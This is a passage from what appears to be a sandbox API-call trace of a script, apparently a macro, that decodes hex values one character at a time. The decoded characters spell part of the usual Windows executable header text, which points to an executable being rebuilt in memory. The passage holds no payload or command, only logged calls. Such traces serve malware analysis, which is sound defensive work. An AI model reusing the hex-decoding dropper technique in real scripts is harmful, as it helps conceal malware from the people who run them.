lpUsedDefaultChar=0x0) returned 1 [0061.650] VarParseNumFromStr (in: strIn="&H70", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.650] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.650] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0061.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="p", lpUsedDefaultChar=0x0) returned 1 [0061.651] VarParseNumFromStr (in: strIn="&H72", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.651] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.651] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0061.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="r", lpUsedDefaultChar=0x0) returned 1 [0061.652] VarParseNumFromStr (in: strIn="&H6F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.652] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.652] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0061.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="o", lpUsedDefaultChar=0x0) returned 1 [0061.652] VarParseNumFromStr (in: strIn="&H67", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.652] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.653] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="g") returned 1 [0061.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="g", lpUsedDefaultChar=0x0) returned 1 [0061.653] VarParseNumFromStr (in: strIn="&H72", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.653] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.653] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0061.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="r", lpUsedDefaultChar=0x0) returned 1 [0061.654] VarParseNumFromStr (in: strIn="&H61", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.654] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.654] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0061.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a", lpUsedDefaultChar=0x0) returned 1 [0061.655] VarParseNumFromStr (in: strIn="&H6D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.655] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.655] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0061.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="m", lpUsedDefaultChar=0x0) returned 1 [0061.655] VarParseNumFromStr (in: strIn="&H20", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.655] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.655] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0061.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 1 [0061.656] VarParseNumFromStr (in: strIn="&H63", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.656] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.656] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0061.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="c", lpUsedDefaultChar=0x0) returned 1 [0061.657] VarParseNumFromStr (in: strIn="&H61", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.657] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.657] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0061.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a", lpUsedDefaultChar=0x0) returned 1 [0061.657] VarParseNumFromStr (in: strIn="&H6E", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.657] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.658] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0061.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="n", lpUsedDefaultChar=0x0) returned 1 [0061.658] VarParseNumFromStr (in: strIn="&H6E", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.658] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.659] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0061.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="n", lpUsedDefaultChar=0x0) returned 1 [0061.659] VarParseNumFromStr (in: strIn="&H6F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.659] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.659] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0061.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="o", lpUsedDefaultChar=0x0) returned 1 [0061.666] VarParseNumFromStr (in: strIn="&H74", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.666] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.666] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0061.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="t", lpUsedDefaultChar=0x0) returned 1 [0061.667] VarParseNumFromStr (in: strIn="&H20", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.667] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.667] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0061.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 1 [0061.667] VarParseNumFromStr (in: strIn="&H62", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.667] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.667] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="b") returned 1 [0061.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b", lpUsedDefaultChar=0x0) returned 1 [0061.668] VarParseNumFromStr (in: strIn="&H65", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.668] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.668] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0061.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e", lpUsedDefaultChar=0x0) returned 1 [0061.668] VarParseNumFromStr (in: strIn="&H20", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.668] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.669] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0061.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 1 [0061.669] VarParseNumFromStr (in: strIn="&H72", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.669] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.669] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0061.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="r", lpUsedDefaultChar=0x0) returned 1 [0061.670] VarParseNumFromStr (in: strIn="&H75", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.670] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.670] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0061.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 